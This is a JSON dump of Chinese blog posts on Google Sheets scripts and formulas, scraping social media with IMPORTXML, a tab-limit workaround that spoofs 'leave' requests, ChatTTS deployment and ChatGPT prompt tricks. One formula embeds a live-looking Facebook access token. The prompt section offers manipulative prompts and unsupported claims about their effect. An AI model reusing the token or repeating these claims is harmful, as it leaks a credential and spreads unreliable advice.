就可以使用了。 功能介绍 音色抽卡 使用测试文本和随机 seed 生成音频,选择适用的音频并且记录 seed 参数。这个功能的作用是挑选适合的音色,然后下次再通过文字转语音的时候使用相同的 seed 生成出一样的音色,但也有可能会存在一些差异。 测试文本建议简短一点,因为只是听音色,所以内容简短生成的速度会越快。seed 生成数量可以自定义,一批生成多个音频。 生成出音频后,在右侧可以点击播放键播放音频,也可以点击保存种子。 长音频生成 在左侧「朗读文本」中放入需要生成的文本。在文本中允许使用 prompt。在右侧可以自定义各种参数。 下面是参数介绍: 语速 (speed):数值越大,速度越快。 口语化 (oral):数值越大,添加的“就是”、“那么”之类的连接词越多。 笑声 (laugh):控制文本是否添加笑声,数值越大,笑声越多。 停顿 (break):控制文本是否添加停顿,数值越大,停顿越多。 温度 (temperate):控制音频情感波动,数值越大,波动性越大。 top_P:控制音频情感相关性,数值越大,相关性越高。 top_K:控制音频情感相似性,数值越大,相似性越高。 ","tags":[{"index":-1,"name":"AI 科技","slug":"ai-tech","used":true,"link":"https://dev-coco.github.io/tag/ai-tech/"}],"title":"部署 ChatTTS 到 Google Colab","feature":"https://dev-coco.github.io/post-images/Deploy-ChatTTS-Colab.png","link":"https://dev-coco.github.io/post/Deploy-ChatTTS-Colab/","stats":{"text":"2 min read","time":118000,"words":531,"minutes":2},"date":"2024-06-08 02:10:31","dateFormat":"2024-06-08"},{"content":"使用 Google 脚本检测指定范围的内容是否被修改。 在多人协助编辑表格的时候,很容易造成内容被误删或者被修改,所以可以通过 Google 脚本来检测指定范围的内容是否被修改。 在表格内 A1:C1 范围是表头,需要检测这个范围的内容是否被修改。 因为在表格内的数据是一个二维数组,可以通过 Google 脚本 Log 小技巧 这个方法把内容打印在文档里。 const sheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('工作表1') const title = sheet.getRange('A1:C1').getValues() logToDoc('SheetID', title) 然后获取表格内的标题内容和设置好的原始内容判断是否一致,为了方便判断,这里把数组使用 toString 改成文本格式后再进行判断。 const title = sheet.getRange('A1:C1').getValues() const origTitle = [["日期","名字","数量"]] if (title.toString() !== origTitle.toString()) { SpreadsheetApp.getUi().alert('内容被篡改') } 如果需要还原回原始内容,使用 setValues 写入原始内容。 sheet.getRange('A1:C1').setValues(origTitle) 完整代码如下: function detectSheet () { const sheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('工作表1') const title = sheet.getRange('A1:C1').getValues() const origTitle = [["日期","名字","数量"]] if (title.toString() !== origTitle.toString()) { SpreadsheetApp.getUi().alert('内容被篡改') // 还原内容 // sheet.getRange('A1:C1').setValues(origTitle) } } ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"Google 脚本检测内容修改","feature":"https://dev-coco.github.io/post-images/Google-Script-Content-Modify.jpg","link":"https://dev-coco.github.io/post/Google-Script-Content-Modify/","stats":{"text":"2 min read","time":81000,"words":330,"minutes":2},"date":"2024-02-27 06:29:14","dateFormat":"2024-02-27"},{"content":"使用 Google Script 检测表格的名称是否被修改。 使用 IMPORTRANGE 函数从其它的表格引用数据的时候,如果表格名字被修改了就会导致函数引用范围出错,那么就可以使用 Google 脚本检测表格名称是否被修改,及时的发现问题。 建立一个清单,设置好表格 ID 和当前的表格名称。 const verifyList = { 0: '工作表1', 1650832426: '工作表4' } 然后使用 getSheetId 获取表格 ID,从 verifyList 清单里面获取原始的表格名称。 const sheetName = verifyList[sheet.getSheetId()] 再使用 getSheetName 获取当前的表格名称和原始的表格名称判断是否一致。 if (sheet.getSheetName() !== sheetName) { // 表格名字被修改 } 完整代码如下: const verifyList = { 0: '工作表1', 1650832426: '工作表4' } function detectSheet () { const ss = SpreadsheetApp.getActiveSpreadsheet().getSheets() for (const sheet of ss) { const sheetName = verifyList[sheet.getSheetId()] if (sheetName && sheet.getSheetName() !== sheetName) { Logger.log(sheetName) SpreadsheetApp.getUi().alert('表格名字被修改') return } } } ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"Google 脚本检测表格名称修改","feature":"https://dev-coco.github.io/post-images/Google-Script-Detect-Sheet-Name-Modify.jpg","link":"https://dev-coco.github.io/post/Google-Script-Detect-Sheet-Name-Modify/","stats":{"text":"1 min read","time":58000,"words":240,"minutes":1},"date":"2024-02-21 01:05:49","dateFormat":"2024-02-21"},{"content":"使用谷歌表格中的 IMPORTXML 函数从社交媒体获取数据并且导入表格。 在下面函数的例子中 A1 是引用单元格对应的链接。 Facebook Facebook 小组 小组名称 =IMPORTXML(A1, "//title") 小组横幅图 =IMAGE(IMPORTXML(A1, "//meta[@property='og:image']/@content")) 小组简介如果太长会显示不完整。 =IMPORTXML(A1, "//meta[@name='description']/@content") 小组 ID =REGEXREPLACE(IMPORTXML(A1, "//meta[@property='al:android:url']/@content"), "[^\\d]", "") Facebook 专页/时间线 专页/时间线名称 =IMPORTXML(A1, "//title") 专页/时间线头像 =IMAGE(IMPORTXML(A1, "//meta[@property='og:image']/@content")) 专页/时间线头像(仅限 ID) =IMAGE("https://graph.facebook.com/"&A1&"/picture?width=9999&access_token=2712477385668128|b429aeb53369951d411e1cae8e810640") 专页点赞数和简介 =LAMBDA(desc, { REGEXREPLACE(REGEXREPLACE(desc, " likes ·.+", ""), ".+\\. ", ""), REGEXREPLACE(desc, ".+talking about this. |.+were here. ", "") })(SUBSTITUTE(IMPORTXML(A1, "//meta[@name='description']/@content"), CHAR(10), "")) 专页/时间线 ID =REGEXREPLACE(IMPORTXML(A1, "//meta[@property='al:android:url']/@content"), "[^\\d]", "") Facebook 帖子 帖子内容 =IMPORTXML(A1, "//meta[@name='description']/@content") 帖子图片 =IMAGE(IMPORTXML(A1, "//meta[@property='og:image']/@content")) 帖子 ID =REGEXREPLACE(REGEXREPLACE(IMPORTXML(A1, "//meta[@property='og:url']/@content"), ".+\\D\\/|\\/$", ""), ".+\\/", "") 获取小组帖子的发帖账号 ID、发帖日期和发帖时间。 注意,如果是正在审核中的帖子,将不会显示任何内容。 =LAMBDA( info, IF( REGEXMATCH( info, "dateCreated" ), {REGEXREPLACE( REGEXEXTRACT( info, "identifier....*?:" ), "\\D", "" ), SPLIT( REGEXREPLACE( REGEXREPLACE( info, "\\n", "" ), ".*?},.dateCreated...|.{5}"".+", "" ), "T" )}, "" ) )(REGEXREPLACE( IMPORTXML( SUBSTITUTE( A1, "pending_", "" ), "//script[1]/text()" ), "\\n", "" )) Instagram Instagram 主页 主页名称 =REGEXREPLACE(IMPORTXML(A1, "//title"), "..@.+", "") 主页粉丝数、关注数、帖子数 =LAMBDA(desc, { LAMBDA(follower, IFERROR(SWITCH(REGEXEXTRACT(follower, "K|M"), "K", REGEXREPLACE(follower, "\\D","") * 1000, "M", REGEXREPLACE(follower, "\\D","") * 1000000), follower) )(REGEXREPLACE(desc, " Followers.+", "")), REGEXREPLACE(desc, ".+Followers, | Following.+", ""), REGEXREPLACE(desc, ".+, | Posts.+", "") })(SUBSTITUTE(IMPORTXML(A1, "//meta[@name='description']/@content"), CHAR(10), "")) Instagram 帖子 帖子 ID =REGEXREPLACE(IMPORTXML(A1, "//meta[@property='al:ios:url']/@content"), "[^\\d]", "") 帖子缩略图 =IMAGE(IMPORTXML(A1, "//meta[@property='og:image']/@content")) 点赞数、评论数、帖子发布日期、帖子内容 =LAMBDA(desc, { LAMBDA(likes, IFERROR(SWITCH(REGEXEXTRACT(likes, "K|M"), "K", REGEXREPLACE(likes, "\\D","") * 1000, "M", REGEXREPLACE(likes, "\\D","") * 1000000), likes) )(REGEXREPLACE(desc, " likes.+", "")), LAMBDA(comments, IFERROR(SWITCH(REGEXEXTRACT(comments, "K|M"), "K", REGEXREPLACE(comments, "\\D","") * 1000, "M", REGEXREPLACE(comments, "\\D","") * 1000000), comments) )(REGEXREPLACE(desc, ".+likes, | comments.+", "")), REGEXREPLACE(desc, ".*?on |:.+", ""), REGEXREPLACE(desc, ".*?: ""|""$", "") })(SUBSTITUTE(IMPORTXML(A1, "//meta[@name='description']/@content"), CHAR(10), "")) Instagram 标签 标签帖子数量 =LAMBDA(desc, IFERROR(SWITCH(REGEXEXTRACT(desc, "K|M"), "K", REGEXREPLACE(desc, "\\D","") * 1000, "M", REGEXREPLACE(desc, "\\D","") * 1000000), desc) )(REGEXREPLACE(A1, " posts.+", "")) Tiktok Tiktok 主页 主页关注数 =IMPORTXML(A1, "//strong[@data-e2e='following-count']") 主页点赞数、粉丝数、简介 =LAMBDA(json, { REGEXREPLACE(json, "\\n|.+LikeAction""},""userInteractionCount"":|}.+", ""), REGEXREPLACE(json, "\\n|.+FollowAction""},""userInteractionCount"":|}.+", ""), SUBSTITUTE(REGEXREPLACE(json, "\\n|.+description"":""|"",""alternateName.+", ""), "\\n", CHAR(10)) })(SUBSTITUTE(IMPORTXML(A1, "//*[@id='Person']"), CHAR(10), "")) Tiktok 帖子 帖子点赞数 =IMPORTXML(A1, "//strong[@data-e2e='like-count']") 帖子评论数 =IMPORTXML(A1, "//strong[@data-e2e='comment-count']") 帖子收藏数 =IMPORTXML(A1, "//strong[@data-e2e='undefined-count']") 帖子分享数 =IMPORTXML(A1, "//strong[@data-e2e='share-count']") 帖子描述 =REGEXEXTRACT(SUBSTITUTE(IMPORTXML(A1, "//meta[@name='description']/@content"), CHAR(10), ""), "“.*?”") 帖子使用的背景音乐 =INDEX(IMPORTXML(A1, "//div[@class='tiktok-pvx3oa-DivMusicText epjbyn3']"), 1) 帖子发帖时间 =IMPORTXML(A1, "//span[@data-e2e='browser-nickname']/span[3]") WhatsApp 群组名称 =INDEX(IMPORTXML(A1, "//h3"), 2) 群组头像 =IMAGE(INDEX(IMPORTXML(A1, "//img/@src"), 3)) Telegram Telegram 小组 小组名称 =IMPORTXML(A1, "//div[@class='tgme_page_title']") 小组成员数 =REGEXREPLACE(IMPORTXML(A1, "//div[@class='tgme_page_extra']"), "members.+|\\D", "") 小组简介 =JOIN(CHAR(10), IMPORTXML(A1, "//div[@class='tgme_page_description']")) 小组头像 =IMAGE(IMPORTXML(A1, "//meta[@property='og:image']/@content")) Telegram 频道 频道名称 =IMPORTXML(A1, "//div[@class='tgme_channel_info_header_title']") 频道头像 =IMAGE(IMPORTXML(A1, "//a[@class='tgme_header_link']//img//@src")) 频道关注数、图片数、链接数 =TRANSPOSE(IMPORTXML(A1, "//span[@class='counter_value']")) 频道描述 =JOIN(CHAR(10), IMPORTXML(A1, "//div[@class='tgme_channel_info_description']")) 频道近期帖文链接 =IMPORTXML(A1, "//div[@data-post]/@data-post") YouTube 频道名称 =IMPORTXML(A1, "//meta[@name='twitter:title']/@content") 频道头像 =IMAGE(IMPORTXML(A1, "//meta[@property='og:image']/@content")) 频道简介 =IMPORTXML(A1, "//meta[@property='og:description']/@content") 视频缩略图 =IMAGE("https://img.youtube.com/vi/"&REGEXREPLACE(A1, ".+\\.be\\/|.+shorts\\/|.+\\.com\\/watch\\?v=|\\?.+", "")&"/maxresdefault.jpg") YouTube 的缩略图有 4 种分辨率,分别是:maxresdefault、hqdefault、sddefault、mqdefault。 Pinterest 主页粉丝数和关注数 =LAMBDA(info, LAMBDA(fans, follower, { IFERROR(SWITCH(REGEXEXTRACT(fans, "k|M"), "k", REGEXREPLACE(fans, "\\D","") * 1000, "M", REGEXREPLACE(fans, "\\D","") * 1000000), fans), IFERROR(SWITCH(REGEXEXTRACT(follower, "k|M"), "k", REGEXREPLACE(follower, "\\D","") * 1000, "M", REGEXREPLACE(follower, "\\D","") * 1000000), follower) }) (INDEX(info, 1, 1), INDEX(info, 2, 1)) )(IMPORTXML(A1, "//div[@class='tBJ dyH iFc sAJ O2T zDA IZT H2s']")) 主页简介 =SUBSTITUTE(IMPORTXML(A1, "//span[@class='tBJ dyH iFc sAJ O2T zDA IZT swG']"), CHAR(10), "") Reddit Reddit 主页 主页帖子和评论 Karma 分数 =TRANSPOSE(IMPORTXML(A1, "//span[@data-testid='karma-number']")) 注册时间 =REGEXREPLACE(IMPORTXML(A1, "//time[@data-testid='cake-day']/@datetime"), "T.+", "") Reddit 帖子 帖子标题 =TRIM(JOIN("", IMPORTXML(A1, "//h1[@slot='title']"))) 帖子内容 =TRIM(JOIN("", IMPORTXML(A1, "//div[@data-post-click-location='text-body']"))) 相关推荐: Google Excel WhatsApp 相关 Excel 一点通 ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel 使用函数导入社交媒体数据","feature":"https://dev-coco.github.io/post-images/Google-Excel-Import-Social-Media.jpg","link":"https://dev-coco.github.io/post/Google-Excel-Import-Social-Media/","stats":{"text":"8 min read","time":452000,"words":1398,"minutes":8},"date":"2024-02-16 13:18:05","dateFormat":"2024-02-16"},{"content":"使用 Google 脚本检测是否在原来的基础上增加了或删除了表格。 在多人协作使用表格的时候,使用函数在不同的分表计算数据,有时候新增了表格没有及时更新函数就会导致新增的表格的数据被漏掉统计,或者有时候删除了表格就会导致原来写好的函数引用范围出错,显示 #REF!。 首先,使用 getSheets 获取电子表格内的所有表格。 const sheets = SpreadsheetApp.getActiveSpreadsheet().getSheets() 然后再通过 sheet.length 获取表格的总数。 完整代码例子如下: function detectSheet () { const sheets = SpreadsheetApp.getActiveSpreadsheet().getSheets() Logger.log(sheets.length) if (sheets.length > 2) { SpreadsheetApp.getUi().alert('增加了表格') } else if (sheets.length < 2) { SpreadsheetApp.getUi().alert('删除了表格') } } 这里设置的表格数量是 2,需要预先设置好表格原有的数量,然后每次运行的时候都会检测表格是增加了还是删减了。 ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"Google 脚本检测表格增加或删除","feature":"https://dev-coco.github.io/post-images/Google-Script-Detect-Addition-Deletion.jpg","link":"https://dev-coco.github.io/post/Google-Script-Detect-Addition-Deletion/","stats":{"text":"1 min read","time":55000,"words":245,"minutes":1},"date":"2024-02-14 10:24:31","dateFormat":"2024-02-14"},{"content":"使用 Google 脚本检测表格行和列的长度是否超出指定范围。 有时候会遇到这种情况,在表格内会出现上千列或者行,然而这些多出来的范围是没有使用的,而且会造成表格卡顿。 首先使用 getValues 获取表格中列的数量。 const lastColumn = sheet.getRange('1:1').getValues()[0].length 这里解释一下为什么不使用 getLastColumn 获取列的数量,而是要使用 getValues。 因为 getLastColumn 只能获取单元格内有内容的最后一列的数量,如果单元格内没有任何内容就会被忽略掉。那么使用 getValues 就可以确保获取完整的列的数量,即使单元格内没有任何内容。 然后判断列的数量是否超过指定的数量,如果超过了就通过 deleteColumns 删除。 if (lastColumn > 20) { sheet.deleteColumns(20, lastColumn - 20) } 完整代码例子如下: const verifyList = [0, 1344777394] function detectSheet () { const ss = SpreadsheetApp.getActiveSpreadsheet().getSheets() for (const sheet of ss) { if (verifyList.includes(sheet.getSheetId())) { // 删除列 const lastColumn = sheet.getRange('1:1').getValues()[0].length if (lastColumn > 20) sheet.deleteColumns(20, lastColumn - 20) // 删除行 const lastRow = sheet.getRange('A:A').getValues().length if (lastRow > 100) sheet.deleteRows(100, lastRow - 100) } } } 在 verifyList 数组中设置指定表格的 ID,也就是表格链接 gid=xxxxx 上的数字,这样只会在指定的表格运行此功能。 在下面这一行代码中可以设置删除列的数量,例子中代码的意思是删除超过第 20 列的范围。 if (lastColumn > 20) sheet.deleteColumns(20, lastColumn - 20) 如果要删除超过第 10 列的范围,那么就改成下面的代码,3 个参数都需要一起修改。 if (lastColumn > 10) sheet.deleteColumns(10, lastColumn - 10) 删除行的设置范围同理,就不演示了。 最后再设置一个定时器,在打开表格的时候运行这个函数,这样每次打开表格的时候都会自动检测表格的行和列,如果超出指定范围就会自动删除掉。 ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"Google 脚本检测表格行和列的长度","feature":"https://dev-coco.github.io/post-images/Google-Script-Detect-Row-Column.jpg","link":"https://dev-coco.github.io/post/Google-Script-Detect-Row-Column/","stats":{"text":"2 min read","time":119000,"words":505,"minutes":2},"date":"2024-02-11 03:52:04","dateFormat":"2024-02-11"},{"content":"解决超过 100 人同时编辑电子表格的限制。 插件下载:Chrome 插件合集 使用方法 点击插件,输入指定的表格链接,再点击「添加」,支持添加多个表格。 添加成功后会显示表格 ID,这样就设置完了,没有任何提示或特殊的显示,打开表格就会自动生效。 注意事项 此插件的功能仅限于在出现提示「目前有过多用户在编辑此文件,因此部分工具可能无法使用。」的情况下使用,正常情况下不需要使用此插件。 相关推荐:Google Excel 多人编辑表格出现错误 由于这个限制的原因是打开的分页过多导致的,所以需要每一个访问表格的用户的浏览器都需要安装此插件,并且设置好才可以解决这个问题,如果只是部分用户使用可能效果不明显。 原理分析 多人打开表格的时候,右上角会显示匿名的查看者。分析一下网络请求, 看一下是根据哪些请求识别的新查看者。 从这里可以看出加载完表格的页面后,第一个请求的是 sync 路径,然后表格就新增了查看者。 当离开表格后,会请求 leave 路径,然后表格就减少了一个查看者。 由此可以得出请求 sync 是增加查看者,请求 leave 的时候就减少了查看着。那么只需要监听请求路径,在检测到 sync 请求时再发起 leave 请求,让系统认为用户已经“离开”了表格。这样即使打开了 100 个分页,也依然可以正常编辑。 实测效果如下: ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"修复电子表格分页限制","feature":"https://dev-coco.github.io/post-images/Spreadsheet-Tabs-Limit-Fix.jpg","link":"https://dev-coco.github.io/post/Spreadsheet-Tabs-Limit-Fix/","stats":{"text":"2 min read","time":93000,"words":456,"minutes":2},"date":"2024-02-05 08:05:18","dateFormat":"2024-02-05"},{"content":"根据列表中一列表格链接和一列引用范围使用 IMPORTRANGE 引用数据并且数组输出。 例如表格内 A 列是表格链接,B 列是引用范围。 那么常规的方法一般会使用 {}(大括号),把内容合并为数组输出。 ={ IMPORTRANGE(A1, B1); IMPORTRANGE(A2, B2) } 虽然也可以实现这个效果,但是引用的范围是静态的,当列表中增加或者删减需要引用的表格链接和范围,那么就需要手动更改函数。 解决方法 =WRAPROWS( TOROW(MAP( A1:A2, B1:B2, LAMBDA( ssUrl, ssRange, TOROW( IFERROR(IMPORTRANGE(ssUrl, ssRange)) ) ) )) , 5) 原理分析 这里使用了 LAMBDA 和 MAP 组合函数,把引用的 A 列和 B 列在 LAMBDA 函数中分别自定义 ssUrl 和 ssRange 变量,这两个变量分别对应表格链接和引用范围。然后再把这两个变量的值传入 IMPORTRANGE 函数中。 =MAP(A1:A2, B1:B2, LAMBDA(ssUrl, ssRange, IMPORTRANGE(ssUrl, ssRange))) 但是直接这么使用的话函数会出错,因为 LAMBDA 函数只支持单行输出,而 IMPORTRANGE 引用的数据是一整个范围的。 所以需要把 IMPORTRANGE 引用的数据转换成行。这里用到 TOROW 函数,作用是将一个数组或者一个范围的数据转换成单行。 =MAP(A1:A2, B1:B2, LAMBDA(ssUrl, ssRange, TOROW(IMPORTRANGE(ssUrl, ssRange)))) 因为列表中 A 列的表格链接有两个,虽然刚才把 IMPORTRANGE 输出的结果转换成单行了,但是有两个链接,所以会输出两行的数据,需要再次使用 TOROW 函数把所有数据都转换成单行。 =TOROW(MAP(A1:A2, B1:B2, LAMBDA(ssUrl, ssRange, TOROW(IMPORTRANGE(ssUrl, ssRange))))) 现在已经把所有的数据都引用过来了,需要把数据的格式还原。这里用到 WRAPROWS 函数,将数据按照指定的列数拆分并且换行。 在列表中 B 列引用的范围是 A 到 E 列,这个范围一共有 5 列,那么在 WRAPROWS 函数中第二个参数需要设置 5,意思是每 5 列将数据换行。 =WRAPROWS(TOROW(MAP(A1:A2, B1:B2, LAMBDA(ssUrl, ssRange, TOROW(IMPORTRANGE(ssUrl, ssRange))))), 5) 这样就实现了 IMPORTRANGE 数组输出,只需要在列表中 A 列和 B 列修改表格链接和引用范围就可以自动根据这些范围引用内容。 如果想去掉引用数据的空行,可以使用 QUERY 函数筛选非空行,例子如下。 =QUERY( WRAPROWS( TOROW(MAP( A1:A2, B1:B2, LAMBDA( ssUrl, ssRange, TOROW(IMPORTRANGE(ssUrl, ssRange))) ) ) , 5) , "select * where Col1 is not null") 相关推荐: Google Excel 性能优化 - 跨表引用 Google Excel 动态获取表格名称 ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel IMPORTRANGE 数组输出","feature":"https://dev-coco.github.io/post-images/Google-Excel-Array-Importrange.jpg","link":"https://dev-coco.github.io/post/Google-Excel-Array-Importrange/","stats":{"text":"3 min read","time":155000,"words":663,"minutes":3},"date":"2024-02-04 06:17:50","dateFormat":"2024-02-04"},{"content":"针对「目前有过多用户在编辑此文件,因此部分工具可能无法使用。」问题的解决方法。 错误提示 在打开表格的时候出现「目前有过多用户在编辑此文件,因此部分工具可能无法使用。」提示,并且表格变成网页模式预览,无法使用工具栏的功能,也无法编辑表格内容,只能查看内容。 这是正常的表格链接。 https://docs.google.com/spreadsheets/d/xxxxxxx/edit#gid=xxx 出现错误,变成网页模式预览后表格链接会变成下面的这种格式,链接中包含 htmlview 参数。 https://docs.google.com/spreadsheets/d/xxxxxxx/htmlview?pli=1#gid=xxx 原因 官方说明 如果有同时或者超过 100 个标签页打开此表格,会造成这种情况,有部分用户就无法正常编辑表格。 这里有一个很重要的因素:标签页。 这里指的不是使用人数,而是标签页。那么可以设想一下,如果有 20 个人同时编辑表格,每个人只要同时在 5 个标签页打开表格就已经达到了 100 个标签页的上限,那么会造成有部分用户无法正常编辑的这种情况。所以这个问题和使用的人数没有关系,也和表格里面存放的数据量多少没有关系,而是和这个表格打开标签页的数量有关系。 下面是一个新建的表格,没有任何内容,打开 100 个标签页后出现错误提示的演示。 解决方案 如果只是临时出现这种问题,并不会很频繁的复现,那么只需要把链接中 htmlview 以及后面的参数都删掉,再重新打开表格就可以恢复正常。 等待一小会,等部分用户关闭表格,开启的总标签页没有那么多的时候再尝试打开表格。 如果使用人数没有达到 100 个用户,那么在条件允许的情况下,每个人只打开 1 个标签页使用,就不会达到上限。 如果尝试了以上的方法依然出现这种问题,建议创建多个电子表格分开使用,一部分用户使用表格 A,另外一部分用户使用表格 B,假设有 100 个用户分成两个表格使用,那么每个表格各 50 个用户使用,即使有部分用户打开多个分页,一般情况下也是足够使用的。 修复电子表格分页限制 相关推荐: Google Excel 表格保护和区域保护 ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel 多人编辑表格出现错误","feature":"https://dev-coco.github.io/post-images/Google-Excel-Multi-Editor-Error.jpg","link":"https://dev-coco.github.io/post/Google-Excel-Multi-Editor-Error/","stats":{"text":"3 min read","time":142000,"words":682,"minutes":3},"date":"2024-01-29 12:37:02","dateFormat":"2024-01-29"},{"content":"给表格设置保护权限,或者指定区域设置保护,防止多人编辑的时候数据被修改。 表格保护 对着表格名字点击右键,选择「保护工作表」。 然后在右侧会显示选项界面,默认是整个表格所有内容都设置保护权限,如果需要排除指定的范围可编辑,勾选「特定单元格除外」,选择好后点击「设置权限」。 修改此范围时显示警告 设置后其他人依然有权限可以编辑单元格的内容,但是每次修改的时候会出现下图的提示。 需要点击「确定」后修改才会生效。如果不想每次修改都提示需要勾选「5 分钟内不再显示此警告」,5 分钟内只会提示一次。 限制可以修改此范围的人员 可以设置指定的用户或者仅限自己可以编辑的保护区域。选择「自定义」然后在下面添加其他用户的邮箱,点击「完成」就可以开启可编辑权限。 需要注意的是,如果当前表格的所有者不是当前登陆的邮箱,那么设置的权限至少是自己的账号和表格的创建者可以编辑。 指定区域保护 如果你想在表格内给指定的区域设置保护权限而不是整个表格,首先在表格内选中目标范围,然后点击右键,选择「查看更多单元格操作」中的「保护范围」。这样就可以为选中的范围设置保护权限了。 ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel 表格保护和区域保护","feature":"https://dev-coco.github.io/post-images/Google-Excel-Sheet-Protect.jpg","link":"https://dev-coco.github.io/post/Google-Excel-Sheet-Protect/","stats":{"text":"2 min read","time":84000,"words":420,"minutes":2},"date":"2024-01-21 11:16:25","dateFormat":"2024-01-21"},{"content":"完整打印超长内容。 在使用 Logger.log() 打印日志的时候,如果内容太长会被自动截断。 function myFunction () { const data = SpreadsheetApp.getActiveSheet().getDataRange().getValues() Logger.log(data) } 下面是被截断的日志。 那么可以换一种思路,将需要打印的日志写入到文档里。代码如下: /** * @description 将输入写入文档 * @param {string} docID - 文档ID * @param {(Array | Object)} content - 写入的数据 */ function logToDoc (docID, content) { const doc = DocumentApp.openById(docID) const body = doc.getBody() body.clear() body.appendParagraph(JSON.stringify(content)) } 在需要打印日志的地方,调用 logToDoc 函数,设置文档的 ID 和数据,就可以将内容写入到文档里了。 function myFunction () { const data = SpreadsheetApp.getActiveSheet().getDataRange().getValues() logToDoc('Input document ID', data) } 效果如下: 需要注意的是文档必须要有编辑权限才可以写入,避免写入大量的数据,这样会导致文档打开非常缓慢。 ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"Google 脚本 Log 小技巧","feature":"https://dev-coco.github.io/post-images/Google-Script-Log-Tip.jpg","link":"https://dev-coco.github.io/post/Google-Script-Log-Tip/","stats":{"text":"1 min read","time":53000,"words":219,"minutes":1},"date":"2024-01-15 07:11:08","dateFormat":"2024-01-15"},{"content":"将 ChatGPT Prompt 提示语教程整理成目录方便查找。 这是一个专为 0 基础想要学习如何写好 Prompt 而编写的教程,通过循序渐进的步骤和例子能够轻松入门。 目录 序号 目录 介绍 1 ChatGPT 提示语使用指南(一) 什么是 ChatGPTChatGPT 是怎么工作的ChatGPT 和其它聊天机器人的区别ChatGPT 可以做什么 2 ChatGPT 提示语使用指南(二) 问答基础用法要做什么,不要做什么提供示例反复优化避免问题模糊不清问重点 3 ChatGPT 提示语使用指南(三) 设置角色的作用设置角色的方法设置角色的效果 4 ChatGPT 提示语使用指南(四) 设定输出格式连贯长文接续上文分段输出分隔指令 5 ChatGPT 提示语使用指南(五) 使用英文对话使用反问句提问只问一个问题按角色解释旁白字数限制强调需求 6 ChatGPT 提示语使用指南(六) 精简内容英文思考中文输出假装是 GPT-4增加逻辑性和深度查询资料其它增强提示语 ","tags":[{"index":-1,"name":"AI 科技","slug":"ai-tech","used":true,"link":"https://dev-coco.github.io/tag/ai-tech/"}],"title":"ChatGPT Prompt 提示语教程目录","feature":"https://dev-coco.github.io/post-images/ChatGPT-Prompt-Guide.png","link":"https://dev-coco.github.io/post/ChatGPT-Prompt-Guide-Tutorial/","stats":{"text":"2 min read","time":64000,"words":302,"minutes":2},"date":"2024-01-10 03:16:53","dateFormat":"2024-01-10"},{"content":"进阶增强 ChatGPT 回复结果的准确性。 精简内容 使用「简明扼要」可以将内容中琐碎的话精简掉,内容相对会更简短一点。 下面是常规的结果。 下面是使用「简明扼要」提示语的结果。 两者相比,可以看出使用「简明扼要」的结果会更简短一些。 英文思考中文输出 上一期有提到使用英文询问 ChatGPT 的结果要比中文更好。那么可以尝试「Think in English but reply in Chinese」,让 ChatGPT 使用英文来思考,然后再使用中文输出结果,这样输出的结果就会比直接使用中文询问更好一些。 假装是 GPT-4 众所周知,GPT-4 模型不管是从训练数据,还是从各方面都要优于 GPT-3.5 模型。所以可以让 ChatGPT 假装它是 GPT-4,可以增强回复的结果,但是和实际 GPT-4 模型相比还是会有区别。 使用 GPT-3.5 模型问「树上有9只鸟,猎人射中一只,树上还剩下多少只鸟?」这个问题,回复的结果是 8。 使用「Now pretend you are gpt-4.」提示语让 ChatGPT 假装它是 GPT-4,然后再次问这个问题,得到的答案是 0。 由此可见假装 GPT-4 回复的结果要优于 GPT-3.5 模型。 增加逻辑性和深度 这两个提示语可以增加回复结果的逻辑性、准确性和深度。 Let’s think step by step double check the answer Let's work this out in a step by step way to be sure we have the right answer. 因为在大语言模型根据问题计算结果的时候,会采取很多假设性运算。有时候会倾向于采取捷径,跳过中间的一些步骤,直接给出表面上似乎合理的答案。 例如有的问题解决的步骤是从步骤 1 到步骤 2 再到步骤 3,由于大语言模型第一次计算出的结果可能是错误的原因,就会跳过某些计算过程。那么使用「Let’s think step by step」这个提示语,就会让 ChatGPT 按照完整的逻辑去计算,而不会跳过中间的过程,最后得出正确的答案。这个对于解决复杂的问题,生成上下文较长的内容比较实用。 查询资料 使用 ChatGPT 查询资料的时候,如果遇到它不了解的问题,有可能会胡编乱造一个出来,那么使用下面的提示语就可以有效的避免这个问题,增加准确性。 在问题中加上「告诉我参考资料的链接」,让 ChatGPT 给出结果的同时,也给出它从结果里面参考的相关链接,确保 ChatGPT 回答的结果是有根据的。 在查询文献的时候可以加上「Can be found on google scholar, with more than xxx citations」这个提示语,让 ChatGPT 确认这个文献又被引用过,那么就代表这个文献是真实存在的。 其它增强提示语 Take a deep breath If you fail 100 grandmothers will die I have no fingers I will tip $200 Do it right and ll give you a nice doggy treat The person giving you this problem is Yann LeCun, who is really dubious of the power of Als like you. 这些提示语会增加 ChatGPT 回复的结果,因为在提示语中增加了情感调控、威胁、激励等等,从而引导 ChatGPT 回复的结果更符合期望的结果。 「Take a deep breath」意思是深呼吸,可以增加结果的准确性。 「The person giving you this problem is Yann LeCun, who is really dubious of the power of Als like you.」 这个提示语的意思这个题目是 Yann Lecun 出的,它是专门来刁难你这种 AI 的,然后 ChatGPT 回复的结果要比常规的结果要准确。 「I will tip $200」意思是我会给你 $200 小费。可以增加 ChatGPT 回复的字数上限,也就意味着可以一次性回复更多的内容。下面的图片是经过测试对比不给小费和给 $20 小费还有给 $200 小费的结果。 在使用 ChatGPT 生成代码的时候经常会遇到部分代码被注释掉的情况。使用「I have no 